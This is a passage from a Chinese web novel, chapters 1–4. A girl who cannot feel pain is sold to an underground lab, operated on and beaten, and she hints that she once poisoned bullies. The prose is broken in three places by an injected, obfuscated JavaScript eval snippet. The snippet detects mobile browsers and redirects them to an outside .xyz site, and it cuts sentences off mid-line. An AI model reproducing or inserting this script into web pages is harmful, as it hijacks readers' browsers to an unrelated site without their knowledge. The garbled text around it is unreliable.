《不死的她,到处乱杀》 1. 基地 “落落呀,你一定要听他们的话知不知道?不要给陆先生添麻烦,你乖乖的,很快就能回家了……” “你要听话,千万不要闹脾气,学学你哥……” 兰落裹着外套坐在豪华汽车里,垂着眼睛听她妈在前排唠叨。 左耳进,右耳出。 兰落不在乎她妈说了什么,反正她已经要被送走了,没必要装母女情深。 她爸妈的母爱,从来只给一个人。 “到了。” 司机的声音闷在面罩里,没什么情绪。 兰落瞥了司机一眼,他穿着一套连体的防护服,脸上扣着金属的面罩,面罩下也许还有另一副口罩。 这样的穿搭有点奇怪,但并不稀罕。 自从几百年前的污染雨降临之后,这个世界就开始充满病毒,最开始大家也都谨小慎微地防护,不过随着人们越来越适应这种环境,防护的人也少了起来。 何况人们在几百年的变迁里,已经变异出了各种各样的异能。 这也是兰落今天坐在这里的原因。 她拥有不死——准确来说,是不痛的异能。 这是兰落天生的能力,小时候无论是摔跤还是受伤,她都一声不吭,安安静静看着血液流淌。 那时候她的父母只以为兰落性格内向安静,不爱喊痛。 后来才知道,原来她真的不痛。 至于他们是怎么知道的…… 兰落把拉链拉到下巴,不想回忆了。 脚下是平整的水泥地,往前几步就是一道大铁门,铁门里面是一座低层建筑。 兰落数了一下,好像只有两层。 这就是实验基地? 未免有些小了吧,还没教学楼大。 “你听见没……” “落落?落落!” 兰落回头,看见她爸妈有些惴惴不安的脸。 还有兰升那副丧气样子。 “怎么了?”她低声问。 兰父抓紧说:“你可要乖乖听话,按照陆先生说的做,结束了我们就接你回家,听到没?” 兰落没回答,看了一眼兰升。 他就要去最高军校上学了,那里的教学楼是不是格外宏伟,至少比这座荒无人烟的实验室大得多吧。 兰升的视线钉在地上,不肯看她。 “嗯。” 兰落收回思绪,温顺地点点头。 其实她没得选。 “兰落。” 一道温和的嗓音在不远处响起。 兰落抬起头,素白的脸上带着迷茫。 “陆先生?”兰父激动极了,连忙把兰落往前推,“对,我女儿兰落,今天开始就交给陆先生了。” 这就是他们嘴里的陆先生吗? 兰落偷偷打量他,把脸往领子里缩了缩,装出一副怯懦的样子。 陆先生很高,穿着一身妥帖的西装,头发梳理得一丝不苟,手里捏着一张手帕。 很古典的风格,像中世纪绅士,和旁边全副武装的司机形成鲜明对比。 陆先生朝他们点点头,很温和的样子。 可兰落看出来了,他的脚步停在那条黄色安全线内,一步也不肯往外移。 啊,安全线就是从前用来划分安全所的,污染雨来临的时候,躲在安全线内就可以防止被雨水污染。 不过现在的建筑基本都有防腐蚀功能,再加上一部分人有了异能根本不怕污染雨,这些安全线都处于半废弃状态。 看来这个陆先生也是个守旧派。 兰落不动声色向前几步,水润的眸子展现出恰到好处的恐惧不安:“您好,我是兰落。” “嗯,兰落。” 陆先生笑:“好孩子,来我这边。” 兰落回头看了一眼,陆先生发话后,她爸妈脸上难以抑制地出现了笑容。 从陆先生那拿到了那么多钱,能不笑吗? 兰落藏在衣领里的嘴唇嘲讽地勾了勾。 她一步一步走上前,细细的指节颤抖。 陆先生不动声色后退两步,抬起细软的手帕放在鼻尖下面。 “怕吗?”他居高临下看着兰落。 兰落揪着领子:“不怕。” “毕竟,”她羞涩地笑了笑,“我也想知道,我的异能到底是怎么回事。” 单纯的不痛,对她来说可不算好事。 兰落跟着陆先生走进安全线内,一直往大门走去。 司机小跑几步,拉开了沉重的白色巨门。 她看着空荡荡的建筑内部,还没来得及发问,身后就传来断断续续的哭声: “我的落落呀,这么小就独立了……” “你千万不要怕……” 兰落内心那点犹豫散了个干净,低着头快步走进了这座黑洞洞的实验室。 巨门缓慢合起,兰父兰母的哭声被隔绝在外。 光明消失的前一秒,兰落没忍住回头看了一眼。 兰升的目光透过门缝传进来,和她五分相似的眉眼里充满不舍。 “落落,哥哥等你!” “兰落,走吧。” 两道声音同时响起,兰落垂下眸子,顺从地跟在陆先生身后。 “陆先生……” “叫我陆观就好。” 兰落不动声色扫视着周围:“陆……观先生,这里为什么这么空荡?” 做研究的,不是应该有很多研究员和机器设备吗,为什么这里好像一个空壳,连光源都只有墙上昏暗的感控灯带。 陆观似乎很熟悉这里,闲庭信步:“怕了?” 兰落点头,声音颤抖:“怕。” 陆观停下来,回头看了她一眼,轻笑一声:“小可怜,来,抓住我的手。” 兰落看着近在咫尺的大手,略一犹豫,还是把左手放了上去。 她感受到自己的手被人虚虚握住。 陆观的手很细腻,有些凉,和他高大的样子不太匹配。 “到了。”他突然开口。 兰落抬头,看见一堵门,比刚刚进来的大门还要大,上面有各种形式的密码。 原来实验室另有乾坤,看来刚刚空荡的大厅只是为了掩人耳目。 陆观松开兰落的手,在门上随意摁了一下,厚厚的门板就滑开了,露出里面的景象。 门里面……还是个门? 兰落有些惊讶地看着门里面这条狭窄的白色通道,通道尽头是另一扇相同的门,除此之外什么都没有。 陆观没有解释,走进了通道。 兰落小心跟上,在她踏进通道的下一秒,身后的巨门就飞快合起,让通道变成一个密闭的空间。 出于安全考虑,兰落凑到了陆观身旁。 他好像误会了似的,抬手在兰落肩膀上轻拍两下:“别怕,消毒而已。” 话音刚落,通道两侧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15785878|174891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就涌起细细的雾气,逐渐包裹了整个通道。 兰落下意识屏住呼吸,观察到陆观神情自然地吸气,才慢慢放松下来开始呼吸。 怪不得这次陆观不嫌弃她了,原来是要直接给她消毒。 没多久雾气就散了,陆观娴熟地摁开第二扇门,兰落紧跟其后,终于看到了实验室的样子。 “好大……” 兰落控制不住地喃喃,瞪大了圆圆的眼睛。 她刚刚已经有了心理准备,预料到了实验室肯定不小,但她没想到,实验室竟然如此之大。 大到什么程度呢,她的面前是一条横着的走廊,走廊对面有几条分叉路,每条分叉路的宽度都足足有三车道那么宽,而分叉路的尽头,似乎又有其他的分叉。 如此庞大的底下研究基地……这该是什么样的财力才能做到啊! 兰落忍不住看一眼陆观,开始思考她爸妈到底拿到了多少钱。 她只知道陆观出手阔绰,但并不知道他给出的具体数额。 陆观察觉到她的视线,一边领路一边问:“怎么了,又怕了?” 兰落偷偷观察路线:“不,我只是想知道,你给了我爸妈多少钱。” 陆观愣了一下:“没多少,你的价值可不是金钱可以衡量的。” 是吗,她看他们明明就衡量得很好嘛。 迎面走来一个穿戴和司机类似的女人,冲着陆观比了个看不懂的手势:“陆先生,我来带她换洗。” 陆观对着兰落点点头:“去吧,换上制服。” 兰落没什么意见,在学校穿校服,在基地穿制服,很正常。 女人把兰落领到一间空房间:“你还没有身份,领不到专属浴室,这里是临时浴室,有新衣服,自己洗个澡换上衣服,我在门口等你。” 说完就翘着二郎腿坐在沙发上了。 原来是来摸鱼的,兰落看着紧闭的房门,耸耸肩去了浴室。 说是制服,其实看起来更像病号服,白色长袖配白色长裤,脚下一双白色拖鞋。 兰落看着镜子里的自己,洗过澡的皮肤更加苍白,几乎要和宽大的制服融为一体,只有头发泛着乌黑,半干不湿地挂在肩膀上。 她面无表情地推开房门,和走廊里的陆观迎面撞上。 兰落没想到他就在门口等自己,眨了眨眼:“抱歉,让你久等了。” 花钱买来的,果然要亲自看着才放心吧。 兰落内心嘲讽,面上却不显。 陆观上下扫视她几眼:“没事,跟我来吧。” 他带着她来到了一个类似大厅的地方,这里的墙上有很多电子屏,好几个步履匆匆的白衣研究员在其中穿梭,一个穿着兰落同款制服的高个子女人正坐在一张沙发上吃面包。 兰落注意到她的手臂上有几根线,连接到了电脑上。 “花子!别吃了!回你的房间!” 一个研究员看到了陆观,顿时瞪大眼睛,飞奔过来扯掉女人手臂的线,然后小跑到陆观面前。 “陆先生!” 兰落照样环视周围,无意中和女人对上了视线。 “又来一个。” 女人翘起嘴角舔了舔手臂上的血珠,张嘴说了几个字。 兰落一边听研究员报告听不懂的数据,一边眯着眼睛分辨她的口型: “短、” “命、” “鬼。” 她说。 2. 检查 短命鬼? 兰落皱了皱眉,视线跟着女人远去的背影。 不好意思,她别的不行,但命最长了。 真是很窝囊的能力。 兰落自嘲地笑了笑,继续听陆观他们讲话。 “……是,准备好了,单独的房间……” “隔得很远,不会有人干扰……” 好像在谈论她的房间。 兰落对房间倒还挺在意的,小时候兰家穷,她一直和兰升睡在一起,大了一点又上了寄宿学校,和各种舍友住在一起。 简而言之,从没有过独立的房间。 “今天就可以开始。” 兰落走了会儿神,回神时就听到陆观这句话。 开始什么? 她心里隐约有点预感,但谈不上害怕。 不会疼的人,很难会害怕。 陆观很快就走了,临走时很温柔地拍了拍她的脑袋。 兰落有些反胃,她不喜欢别人的触碰。 但她长相稚嫩无害,皱眉的样子看起来有些柔弱,所以研究员显然误会了,竟然假惺惺安抚她:“别怕,你没有痛觉是不是?那接下来就会舒服很多。” 好惊悚的话,他是怎么做到一脸笑意地说出这种话的? 兰落不好意思地对他笑了一下,把人设稳定得很好。 在变强之前,她会一直怂下去。 兰落躺在几乎有篮球场那么大的房间里,再一次感叹陆观的财大气粗。 挺好的,就算是小白鼠,她也是待遇最好的小白鼠。 她的床很大,色调和整个基地的风格一样,是冷白的。 兰落百无聊赖地躺着,开始分析自己的处境。 她知道自己被“卖”进实验室的时候,陆观的人已经守在兰家等着了,所以兰落没有办法,只能老老实实进来当小白鼠。 根据她白天观察到的基地情况,这里似乎没什么守卫,除了研究员就是和她一样的实验品了,安保靠的是墙角的机械眼和门口的几重密码锁加生物锁。 逃嘛,也许有可能,但不是现在。 现在她一没实力二不熟悉环境,逃跑就是自寻死路。 况且,也许实验室对她来说,反而是个暂时的保护所。 长相柔弱漂亮,拥有不痛的异能,还有着微弱的自愈能力,她不敢想自己留在外面会遭遇什么。 兰落不是没遇到过类似的事情,在寄宿学校里,就经常有人把她堵在角落,用美工刀划她的手臂,然后一脸惊奇地说: “操!这女的真不会痛!” “是不是伤口太浅了,划深点试试呢?” 兰落闭上眼,对他们的存在感到格外烦躁。 幸好他们已经不存在了。 睡前,她下意识在枕边摸索,枕头下却空空如也。 ——忘了,这里带不了东西,她不能服毒了。 第二天兰落是被昨天的女研究员叫醒的,她脱下了厚重的防护服,穿着一丝不苟的白大褂,鼻梁上架着金丝眼镜。 “准备一下,给你做全身检查。” 兰落顺从地跟着女人,没有多问。 走廊空荡荡的,陆观似乎有意把她和其他人分开,一路上连个人影都没看见。 做检查的地方是一间金属墙面的大房间,用透明玻璃一分为二,一个穿着同款白大褂的男人正坐在外间的椅子上转笔。 见到兰落,男人挑了挑眉:“这么小?” 兰落也在不动声色观察这个男人,他看起来很年轻,肤色有种不见光的苍白,嘴边挂着令人生厌的笑。 兰落发现他的头发有点凌乱,白大褂的扣子也散着,和身边的女研究员比起来格外吊儿郎当。 像个来凑数的关系户。 女研究员把兰落往玻璃隔间推:“你不用管这些,老实记录就行。” 男人把笔一扔,瘫在椅背上转了转,语气非常欠揍:“哈?我亲爱的大哥没有告诉你们,我这人最烦别人命令我吗?” 兰落缓慢推开金属门,竖起耳朵听。 女研究员嗤笑:“再烦,不也是老老实实地坐在这里了吗?” “是啊,”男人捡起笔,笑得眉眼弯弯,“再烦,你也老老实实给人当狗了。” 嚯,兰落忍不住多看他两眼。 “比不上你,陆家的野种小子。”女研究员说完就走了,似乎不屑与他争辩。 陆家? 原来真是关系户,兰落扫他两眼,不知是不是心理作用,竟然真觉得他和陆观长得有几分相似。 男人感受到她的视线,用笔点了点金属门:“看什么,进去吧,野种要给你做检查了。” 哪有这么说自己的,兰落忍着不适,关上了金属门,躺在窄窄的检查床上。 很快就有奇形怪状的东西覆盖住她,兰落陷入一片黑暗,耳边开始出现嗡嗡的机器声。 也不知过了多久,兰落眼前才恢复光亮,她不太适应地直视着刺眼的灯光,坐起身揉了揉眼睛。 “睡着了?” “那我再扫描一遍,你继续睡吧。” 男人的声音从四面八方响起,兰落吓了一跳,看他好像真的打算再启动一次机器,直接跳下床,用行动表示不需要。 她看见男人一脸遗憾地耸了耸肩,松开了手里的按钮。 兰落推开金属门,清了清嗓子:“请问,我的身体怎么样?” “不好。”男人看也没看电脑,在纸上飞快写着什么。 兰落故作害怕:“怎么会?那我身体出了什么问题?是不是我的异能有哪里不对劲?” 男人看她一眼,手上不停,抿着唇写了一会儿才皱着眉头开口:“瘦了。” “什么?”兰落懵了一下。 男人不看她,继续写写画画,然后摇头:“不好。” “……哪里不好?”兰落问。 “矮了。” ? 他在说什么鬼话? 兰落个子的确不算高,但也有一米六几,属于中等水平,何况她才十八岁,还有成长的空间,哪里就矮了? 不对,她都被这个神经病带偏了,重点是瘦不瘦矮不矮和检查结果有什么关系? 果然在任何地方都不要妄想关系户能认真干活。 兰落假装撩头发,趁机翻了个白眼,然后摆出不安的神色:“影响很大吗?” 她话音刚落,男人就把笔扔了,捏着手里的纸朝她快步走来。 兰落左脚后撤半步,肌肉绷紧,眼神瞄着门口,随时准备逃跑。 哪知男人把纸往她怀里一塞,头也不回地路过她,看都没看兰落一眼。 “送你了,回房间睡觉吧,我也要补觉了。” 兰落看着男人离开的背影,嘴角控制不住地抽搐两下。 她打开手里被揉成一团的纸,本以为能看到自己的身体数据,但上面只有一幅潦草的简笔画。 画上是一只肥嘟嘟的矮兔子,兔子的身形有着修改的痕迹,从略胖画成格外胖。 所以他刚刚说的是画? 神神叨叨的,神经病。 兰落观察了一下,男人在右下角附上了署名,笔迹龙飞凤舞,难以辨认。 她对着光线看了好半天,才勉强认出来一个“祝”。 哦,不姓陆啊。 兰落把纸团了团扔进垃圾桶,循着记忆走回房间睡觉了。 他们都不急,自己一个待宰羊羔有什么可急的? 男人的玩忽职守给她争取了不少安逸时光,直到三天后才有人再次找上她。 女研究员皱着眉头:“他说你身体素质不过关,所以我们养了你几天。” “现在呢,感觉怎么样?” 怪不得这几天伙食那么好,兰落摇摇头:“不知道,没感觉。” 女研究员眉毛皱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15785879|174891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得更深:“没办法了,直接上吧,陆……上面催得紧。” 兰落很善解人意地点头:“嗯,我理解的,姐姐也要交差。” 女研究员的眉头果然松动几分:“你倒还挺配合的。” “毕竟上面很严格吧,上次有个研究员,看到陆先生都吓坏了似的。” 兰落跟在女人身后,一脸不谙世事。 女人呵了一声:“摇尾巴的狗罢了。” 看来实验室里也颇有风云嘛,大家似乎互相看不顺眼呢。 兰落继续问:“还以为这里同事关系很好呢,原来和我在学校一样,到处都有不讨喜的人。” 女人看她一眼:“这可比学校恶心多了,至少学校不会活人解……” 女人说到一半突然顿了顿:“算了,你不用知道,按照要求做就行了。” 兰落把她的话在脑子里过了一下,她说的是“按要求”而不是“按她说的做”,也就是说,就算她很高傲,也没有什么实际指挥权。 那没事了,不用巴结她。 兰落敷衍地嗯嗯两声,乖顺地走到一间陌生房间。 房间门口贴着大大的“二号手术室”字样,磨砂的双开门虚掩着,露出里面闪动的人影。 有细微的呻吟从门缝钻出来,兰落舔了舔嘴唇,试图看清里面的景象。 一只手挡在了她的脸前:“不该看的别看。” 兰落听话地垂下眼睛,女研究员这才放下手,语气冰冷:“前面左转,一号手术室,进去就行。” 她这是不带路的意思? 兰落走了几步,突然怯怯回头:“那个,我能问问你的名字吗?” “我有点害怕。” “这里我就认识你一个人。” 女研究员愣了一下,抬手扶了扶眼镜:“我姓叶。” 兰落轻轻嗯了一下,转头就走。 “那个,”女研究员在身后开口,“出了手术室我会找个人照顾你。” 照顾? 这么严重吗? 兰落回头,只看见女研究员匆匆离去的背影。 她收回刚刚的话,姓叶的可以巴结一下,至少能给她提供一点便利。 躺上手术台后兰落没多害怕,反正疼痛的滋味她从没体会过,哪怕让她看着自己被剖开,也不会有什么感觉。 只不过她的愈合速度非常慢,和兰升比起来简直龟速。 相应的,兰升的痛觉非常灵敏,一点小伤口都能疼得他撕心裂肺。 所以兰落经常假装不小心弄伤他。 想到这里,兰落忍不住笑了两声,然后惬意地闭上了眼睛。 她丝毫没意识到自己浑身插满管子,用失血过多的脸惬意微笑的样子有多吓人。 “不行了?” “……这都不疼……” “不要缝合……观察自愈速度……” 迷蒙的困意中,兰落感受到自己被推出手术室,然后有人接过了自己。 她用尽力气睁眼,看见了一个眼熟的女人。 是骂她短命鬼的女人,好像叫花子。 “那个,”她喃喃,“我可不是短命鬼。” 兰落觉得自己可能失血过多脑子坏了,竟然会说这么中二的话。 花子粗鲁地推着轮椅,半昏迷状态的兰落几乎要被颠到地上。 “你以为,”花子把她推进房间,“活得久就是好事了吗?” 兰落没回答,眼睛一翻晕了过去。 等她醒来的时候,眼前就出现了一张放大的小白脸。 兰落脑子不太清醒,身体反应却很迅速,在睁眼的瞬间抬起布满刀口的右手。 “啪!” 姓祝的脸上顿时出现几道红痕。 “哇!”他捂着脸惊叹。 就在兰落以为他要生气的时候,男人的声音再次响起: “都这样了还能打人?好厉害!” 3. 巴掌 厉害个屁! 兰落在心里有气无力地吐槽,越发觉得这个姓祝的脑子应该不太正常。 她感受不到疼痛,但是可以通过肢体的无力程度来判断自己的状态。 老实说,不太好。 刚刚打他的那一下已经是极限了,现在别说挥巴掌,连动动手指都是难题,整个人像鬼压床了一样无法动弹。 兰落忍不住在心里骂陆观,这个狗东西到底有没有把她当人看,就连畜生也不至于下这么狠的手吧。 她努力看了自己一眼,觉得自己现在的样子和被改花刀的死鱼没什么区别。 “喂?活着吗?” 兰落闻言朝右边扭头,看见了花子带着嫌弃的脸。 “嗯。”她轻轻应了一声,声音细弱蚊蝇。 “喂?疼不疼?” 兰落把脑袋朝左一歪,又看见了姓祝的那张小白脸。 “不。”她又轻轻应了一声。 什么疼不疼的,他在说废话吧,这里谁不知道她是因为不会痛才被送进来的。 “长官,你给她检查检查呗,要是突然死在这了怎么办?” 花子坐得远远的,抖着二郎腿说。 “你这是诅咒。”姓祝的一本正经,但丝毫没有给她检查身体的意思。 花子撑着下巴:“都剌成这样了,你们真不担心?我可是被委派来照顾这短命鬼的,人死了我没法交差啊。” 兰落拧着眉头插话:“不用,我不会死。” “短命鬼,另有其人。” 花子脑袋凑过来,一脸好奇:“谁啊谁啊?除了你还有谁看着命更短啊?” 兰落呼出一口浊气,不想再说话。 她把头偏到左侧,刚好对着男人胸口的姓名牌,这次是统一打印的官方字体,很好辨认。 祝、见、尘。 原来这神经病叫祝见尘,名字不错,可惜被他糟蹋了。 祝见尘低头看看自己,发现了兰落的视线,抬手捂住自己的名字,懒洋洋地开口:“商业机密,禁止窥探。” 烦死了。 兰落眉头皱得可以夹死一只蚊子,她每次受伤都会变得很暴躁,似乎生理上的疼痛都转化成了情绪上的戾气。 “机密?关系户的机密吗?”她故作天真地发问,苍白的嘴唇勾出腼腆的笑。 祝见尘愣了一下,忽然笑起来:“羡慕吧,关系户哦,不用进手术台,不用被分尸。” “哦,忘了,”他弯唇一笑,“还不是尸体。” 兰落又想给他一巴掌了。 花子继续抖着腿:“你俩有仇?” “没仇。”祝见尘轻轻揉了揉兰落的脑袋,和刚才刻薄的样子判若两人。 “您真是和面包怪贱到一块去了。”花子说。 兰落挣开他,问:“面包怪是什么?” “大厅那个爱吃面包的狗腿子,见到上面的人就摇尾巴,见到下面的畜生就龇牙。” 花子嘿嘿一笑:“不过他很吃奉承,多夸夸他就能骗两个面包吃。” 兰落有印象了,面包怪应该就是第一天在陆观面前做汇报的那个男的。 花子越说越来劲,祝见尘也不知道什么时候走了,空旷的房间里回旋着女人不知疲惫的碎碎念,大多围绕着实验室里的八卦。 这个女人的生活应该很无趣。 兰落没把这话说出来,她现在动弹不得,没必要继续给自己拉仇恨。 刚刚刺祝见尘的话已经算出格了,幸好他只是口头报复了两句。 嘴皮子的伤害通通不算伤害。 她略显不安地沉睡过去,直到第二天下午才勉强清醒过来。 醒来后她的床头又站着一个男人。 兰落没想到花子还挺乌鸦嘴的,刚说完面包怪他就出现了。 “醒了?起来,跟我走。” 面包怪声音冷淡,既没有面对陆观的谄媚,也没有面对花子的趾高气扬,干巴得像在看一个死人。 “去哪里?”兰落朝被子里缩了缩,一脸柔弱地问。 面包怪声音没有起伏:“少问,听从指挥。” 兰落坐起身,视线环绕了一圈,没看到花子,不知道是照看任务完成了还是被支开了。 如果她没记错,面包怪似乎不负责自己的具体实验,只负责统筹记录吧? 兰落缓慢起身下床,不知道现在算是什么情况,就算实验再没有人性,也好歹要考虑一下实验体的承受能力吧。 她身上的伤只好了一半,如果重复上手术台,说不定以后要一直躺在床上等恢复。 面包怪似乎不耐烦了,一把扯住兰落的后领口:“就这还不死之力?” 兰落没什么力气,跌跌撞撞地被拉扯到门外,眼前开始发黑。 “面……长官,”熟悉的女声响起,“这是做什么?叶长官要我看着她呢,你带她走,我怎么办啊?” 兰落的左臂被花子一脸嫌弃地扯住,滑稽地吊在空中。 “滚回你的房间,谁允许你随意走动?要是下次再被陆先生发现你不守规矩,我饶不了你!”面包怪一脚踹在了花子侧腰上。 花子闷哼一声掉在墙角,捂着腰爬起来:“不好意思,不好意思长官,您随意您随意。” 兰落看着花子一气呵成的滑跪,心里倒是对她有些刮目相看了。 比她能演,是个好苗子。 面包怪骂骂咧咧地扯着兰落走过迂回的长廊,兰落半闭着眼睛,几乎开始认命。 窝囊废报仇十年不晚,大不了下次找机会毒死他。 就像那些把她堵在墙角的人一样。 正胡思乱想着自我安慰,兰落垂落的手腕上突然传来微凉的触感。 “干什么呢?这是要跟我抢活啊。” 懒散的声音响起,兰落睁开眼睛,果然看到了祝见尘那张欠揍的脸。 面包怪似乎也觉得他欠揍,咬着牙说:“祝少爷,我也是在为基地分忧。” 嘴上硬气,他的手却诚实地松开了兰落的衣领,失去着力点的她一下子半软在地,手腕高高举起,被祝见尘拽在手里。 祝见尘见状,“唰”一下扔掉了兰落的手,后退两步:“讹我?” 兰落还没来得及张嘴,面包怪就上赶着说:“既然祝少爷这么嫌弃,就把人交给我们处理吧,不要再插手。” “毕竟,您可是陆先生的亲弟弟。” 面包怪在“亲弟弟”几个字上加重了语气,显然是故意的。 祝见尘弯腰把兰落捞起来,看也没看面包怪,语气散漫:“好狗,会替主人操心了。” 兰落被他卡在臂弯里,半拖着往前走,闻言瞥了他两眼。 祝见尘嬉皮笑脸看着她:“没说你。” 兰落没回答,从祝见尘的肩膀边上往后看,果然看见面包怪怒气冲冲的背影。 看来欠揍也是种本领啊。 “那个抖腿怪让我来救你的。”祝见尘踢开房间门,把她轻轻扔在地毯上。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15785880|174891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么抖腿怪?”兰落坐起来,理了理衣领,窝窝囊囊的很安心。 祝见尘蹲在门口:“就那个,说你是短命鬼那个人。” “哦,来了。”他朝门口点点下巴。 门口传来一瘸一拐的脚步声,花子的脸慢慢探出来:“还真把你捞回来了啊?” 听起来有点失望是为什么? 兰落站起身,随手把被弄得乱七八糟的头发往后拨了拨:“谢谢你们。” “真谢的话,让我住你这呗。”花子不见外地四处闲逛,嘴里啧啧称奇。 兰落视线一直谨慎地跟着她,嘴上却很天真:“为什么?你想和我做朋友吗?” “啥呀,”花子看也不看她,撅着屁股在衣柜里摸,“你这环境好,我们住得都是鸽子笼,哪有这么宽敞的套间。” 兰落看着她偷偷把摸出来的几颗香薰石藏进口袋里,无语的同时松了一口气。 “随你,反正我也做不了主。”兰落又把掉下来的头发往后拢了拢。 她的发质很软,平时都很顺滑地铺在脑后,但这阵子养伤耗费太多精力,发丝已经有些干枯毛躁了。 兰落一边啃干巴巴的饼干一边喝牛奶,完全没在意屋子是什么时候静下来的。 饼干是每天统一发放的,她昏迷的时候吃不了东西所以屯了不少,现在刚好消耗掉。 兰落自从来到这里就很少想到兰家人,但也许是饼干实在太难吃了,她竟然有那么一点点想兰升。 兰升虽然很讨厌,但厨艺很好。 就算是外面随便一个饭店,伙食都比这个破基地好一百倍。 她丢掉饼干,没滋没味地舔了舔嘴唇,抱着膝盖把自己团成一团。 兰落正想念着大餐,后颈突然传来一点痒意,她顿时汗毛直竖,飞快捂住后颈向后看。 祝见尘捏着发绳,一脸茫然地看着她。 “怎么了?你头发疼?” 兰落看见是他,莫名松了一口气,却还是没敢掉以轻心,后撤半步问:“你怎么在这里?” 祝见尘看鬼一样看她:“你失忆了还是我穿越了?我一直没走啊。” “抱歉,没注意,”兰落敷衍,“你想做什么?” 祝见尘举起手里的小兔子发绳:“给你扎头发怎么样?” “这里太无聊了,我都快发霉了,我们一起来玩你的头发吧。” 兰落摸了摸自己乱糟糟的头发:“不用。” “不喜欢兔子?”祝见尘像没听到似的,手腕一翻,兔子发绳就没了。 他的手里变戏法似的出现了各色各样的发绳:“樱桃的?草莓的?小猫的?还是说你喜欢威猛一点的?老鹰、狗熊……” 回答他的是兰落沉默的视线。 她的长相很无辜,沉默看人的时候,会天然地展现出可怜巴巴,像安静的兔子。 ——如果忽视她心里的恶毒吐槽。 祝见尘又一翻手,奇形怪状的发绳就消失了,他似乎被看得不好意思,摸摸鼻子:“不扎就不扎。” 兰落一直目送他出房门。 门锁“咔哒”一声,她才放松下来,盘腿坐在地毯上休息。 如果没看错的话,祝见尘手里的发绳似乎是凭空出现的,是他的异能吗? “咚咚咚!” 敲门声打断兰落的思绪,她站起身,不耐烦地拉开房门,扬起一个无害的笑: “祝……” “啪!” 巴掌重重地落在她脸上。 4. 挨打 兰落被打得偏向一边,脸上逐渐变得麻木。 门外不是她以为去而复返的祝见尘,而是一脸怒容的面包怪。 “祝?还真以为自己抱上大腿了?”面包怪收回手,居高临下站着,“我看你还敢不敢得意忘形!” 兰落摸了摸自己的脸,摸到一小片凸起,应该是肿了。 她还没来得及开口,面包怪又开始咬牙切齿:“姓祝的救得了你一时,救不了你一世,进实验室的第一天,你就该认识到自己的身份。” “当好一个听话的实验品,少拿自己当人看,也少不拿别人当人看。” 兰落算是明白了,面包怪这是对祝见尘嘲讽他的事情怀恨在心,不敢对关系户下手,只能来她面前耍威风了。 “我没有,”兰落回忆着花子认怂的样子,干巴巴认错:“我没有狗眼看人低。” “你说谁是狗!”面包怪却突然应激了,双眼瞪得溜圆,恶狠狠地揪住兰落的头发。 兰落头发被他攥住,被迫抬起脑袋,小脸苍白,眉毛紧紧皱着,看起来很痛苦的样子。 演的。 她根本没感觉。 兰落刻意把自己虚弱痛苦的脸对准了机械眼,单薄的身躯像蝴蝶翅膀一样颤抖着,昭示着她的恐惧和柔弱。 面包怪没等到她的认错,骂骂咧咧地把兰落的脑袋往墙上撞。 “砰!” 兰落额头立刻红肿一片。 “告诉你,这条走廊的机械眼由我控制,你可别想着告状!” 怪不得能准确地在祝见尘走后找到这里,原来是这样…… 兰落收回脸上无助的表情,把这件事记在了心里。 面包怪好像开始无聊了,撒开手随意地踢了她一脚,恰好踢到了心脏位置。 兰落的心脏被踹了一脚,竟然开始狂跳,以远高于正常心跳速度的频率撞击着她的胸腔,撞得兰落眼前发黑不停干呕。 她趴在地上捂住胸口,大口大口地喘气。 不知道为什么,兰落竟然能从心脏的跳动里读出它的意思,它似乎很不满自己挨揍了,激动地要和面包怪决一死战。 兰落死死摁住心脏,生怕它真把自己跳出来了。 现在还不是时候,少逞强。 面包怪朝地上啐了一口:“装个屁!不是不会疼吗?明天就把你剖了!” 说完还用力补了几脚,踹得兰落像片白色塑料袋,在地上转来转去。 面包怪最后一脚落下时,兰落的后脑狠狠撞上了柜门锋利的边角,金属的尖角刺进她的头皮。 门被恶狠狠关上,面包怪的脚步声逐渐远了,空荡的房间只有瘦弱的兰落躺在角落,浑身布满淤青,杂乱的头发盖在脸上,看不清神色。 有血流出来了,从她的后脑一点点蔓延,蜿蜒着把地毯晕染成黏糊糊的深色。 兰落感觉自己的后脑勺温热一片,肋骨可能也被踹断了,四肢更是伤痕累累,旧伤未愈又添新伤。 “迟早,”她喃喃,“让你死在我手里。” 剧烈跳动的心脏突然停滞,兰落眼皮一翻晕了过去。 窸窸窣窣的声音在她脑中钻来钻去。 “命悬一线,不死一现。” 好吵。 “屠神屠鬼屠手足,成神成鬼成永生。” 谁在说话? 兰落努力睁眼,却掉进另一重梦境。 梦里的一切都变成了扁平的简笔画,一个火柴人高举着一颗红彤彤的东西,兴高采烈地长大了嘴巴。 